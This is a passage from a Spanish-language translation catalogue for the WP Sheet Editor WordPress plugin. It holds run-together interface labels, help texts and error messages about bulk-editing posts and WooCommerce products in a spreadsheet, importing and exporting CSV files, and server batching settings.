los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
                  Por ejemplo, productos con el mismo SKU o ID.Encontramos columnas similares. ¿Quieres aplicarles la misma acción? {columns}Tenemos CIENTOS de tutoriales y guías en nuestro blogTenemos una extensión para mostrar esta hoja de cálculo en el frontend. Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, importación, exportación, etc.). Por ejemplo:Importamos el archivo por lotes (es decir, 4 filas cada cierta cantidad de segundos). Cuando un lote falla, normalmente pausamos la importación y te preguntamos si quieres volver a intentarlo o cancelar la importación. Selecciona esta opción para ejecutar el reintento automático. Cuidado: Hay que seleccionar la opción de actualizar las filas existentes en el paso 3 de la importación, para que podamos reintentar y omitir lo que se importó con éxito y sólo reintentar lo que falló. Si no se selecciona la opción de actualizar en el paso 3 de la importación, cada reintento podría duplicar algunas filas previamente importadas.Limitamos la lista de campos a 1000 meta campos para evitar pérdidas de memoria/problemas de rendimiento. Si quieres buscar por un campo que no aparece en el desplegable, aumenta este número.Limitamos las columnas de la hoja de cálculo por razones de rendimiento para evitar cargar miles de columnas en la hoja de cálculo. Puedes aumentar este límite si quieres visualizar más columnas. Predeterminado: 310Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Necesitamos recargar las filas de la hoja de cálculo para cargar las variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?Te recomendamos que crees un mensaje que parezca escrito personalmente, debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes utilizar variables para insertar el valor de cualquier columna.Mostramos una ventana emergente pidiéndote que instales extensiones gratuitas cuando detectamos que estás utilizando un plugin de terceros que requiere una compatibilidad especial, lo que nos ayuda a evitar errores.Usamos la paginación para usar pocos recursos del servidor. Cargamos 20 filas primero y 20 más cada vez que se desplaza hacia abajo. Puedes aumentar este número para cargar más filas por página. CUIDADO. Cargar más de 200 filas por página podría sobrecargar tu servidor. Si detectamos que el servidor está sobrecargado, automáticamente se restablecerá a 10 filas por página.Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que te desplazas hacia abajo). Puedes aumentar el número para cargar más filas cada vez que te desplazas hacia abajo.Añadiremos el nuevo archivo al inicio de los archivos existentes en los productos. Ingresa sólo la URL del archivo, puedes ingresar múltiples URLs separadas por comas.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) existente(s).Crearemos columnas para estos atributos personalizados.Borraremos este campo meta de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurarla en el futuro. ¿Quieres continuar con la eliminación?Borraremos este campo serializado, incluyendo todos sus subcampos, de la base de datos y perderás los valores guardados en este campo en todas las filas. Deberías hacer una copia de seguridad para poder restaurar en el futuro. ¿Quieres continuar con la eliminación?Mostraremos todas las columnas que fueron borradas o deshabilitadas, las columnas renombradas mostrarán los títulos originales, volveremos a escanear la base de datos para encontrar las columnas de nuevo, y los ajustes avanzados y de velocidad se restablecerá a los valores predeterminados. Esto sólo afecta a la configuración de nuestro plugin y no afecta a los datos editados con la hoja de cálculo.No ejecutaremos nuestra eliminación de filas duplicadas cuando se permitan los saltos de línea, por lo que es posible que veas filas duplicadas en los archivos de exportación en casos excepcionales.Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) multimedia existente(s).Eliminaremos todas las etiquetas html por defecto. Habilita esta opción para permitir etiquetas html seguras, como b, span, i, etc.Reemplazaremos el archivo multimedia existente con este archivo.Reemplazaremos el/los archivo(s) multimedia existentes con este/estos archivo(s).Sustituiremos los términos existentes por estos términos.Guardaremos la consulta de búsqueda actual y la configuración de la exportación, y podrás ejecutar esta exportación con un solo clic en el futuro usando el desplegable del menú de exportaciónGuardaremos estos archivos. Los archivos existentes se sobrescribirán. Ingresa sólo la URL del archivo. Puedes ingresar múltiples URLs separadas por comas.Guardaremos este grupo de columnas como una vista de la hoja de cálculo y podrás cambiar entre vistas en la barra de herramientasRecargaremos la hoja de cálculo cuando cambies esta opción.Ordenaremos las filas de la hoja de cálculo según este campo. Te recomendamos ordenar por campos que tengan valores en todas las filas para obtener resultados más precisos. Por ejemplo, es mejor ordenar 1k productos por Título ASC porque sabes que todas las filas se ordenarán con precisión, pero si ordenas 1k filas por SKU, las 500 filas con SKU se ordenarán correctamente pero las 500 filas sin SKU podrían tener un orden aleatorio ya que no tenemos ningún valor para ordenarlas con precisión.SemanasPeso (kg)Bienvenido a WP Sheet Editor¿Qué aplicación usarás para editar este archivo CSV? (opcional)¿Qué atributo quieres editar?¿Qué formato de celda se debe utilizar para las columnas de taxonomía?¿Qué columnas quieres exportar?¿Qué componente necesitas?¿Qué formato de fecha quieres mostrar en la hoja de cálculo?¿Qué formato de fecha quieres guardar en la base de datos?¿Qué formato de fecha y hora quieres que se muestre en la hoja de cálculo?¿Qué campo quieres editar?¿Qué información quieres editar en el frontend?¿Qué post types requieren esta columna en la hoja de cálculo?¿Qué ajuste quieres cambiar?¿Qué valor se guarda cuando la casilla de verificación está marcada?¿Qué valor se guarda cuando la casilla de verificación está desmarcada?Novedades en WP Sheet EditorCuando se carga la hoja de cálculo y guarda el contenido de las filas, la ejecutamos a través de wpautop para evitar problemas de saltos de línea. Puedes deshabilitar esto si no quieres ver/guardar las etiquetas p en el contenido.Cuando se carga la hoja de cálculo, la abrimos en pantalla completa y tienes la opción de salir del modo de pantalla completa. Habilita esta opción y no abriremos la hoja en pantalla completa.Cuando esta opción está habilitada, se cargarán más elementos en la parte inferior de la hoja de cálculo cuando llegues al final de la páginaCuando esta opción está habilitada, se cargarán más filas en la parte inferior de la hoja de cálculo cuando llegues al final de la página. También puedes habilitar/deshabilitar en la hoja de cálculo.Cuando esta opción está habilitada, las variaciones de los productos se mostrarán y podrás editarlas.Cuando borras entradas, páginas, eventos, productos, pedidos, cupones, y otros post types, puedes seleccionar cuántas filas borraremos por lote. Usa un número mayor para finalizar más rápido, pero pudiera saturar tu servidor. Predeterminado: 500Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. Pero tu servidor no puede manejar todos los lotes uno tras otro, así que necesitamos esperar unos segundos después de cada lote para darle a tu servidor un pequeño descanso. El valor recomendado es de 6 segundos, puedes ajustarlo como mejor te convenga. Si obtienes errores al guardar, deberías aumentar el número para dar a tu servidor un descanso más largo después de cada lote.Cuando editas una gran cantidad de filas en el editor de hojas de cálculo, no podemos guardar todos los cambios a la vez, así que lo hacemos por lotes. El valor recomendado es 4 , lo que significa que procesaremos sólo 4 filas a la vez. Puedes ajustarlo como mejor te convenga. Si se producen errores al guardar, deberías reducir el númeroCuando termines de descargar los plugins, tienes que ir a wp-admin > plugins > añadir nuevo e instalarlos.Cuando termines este paso puedes empezar a usar el editor frontend. Puedes añadir la página frontend a un menú o compartir el enlace con tus usuarios.Cuando tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
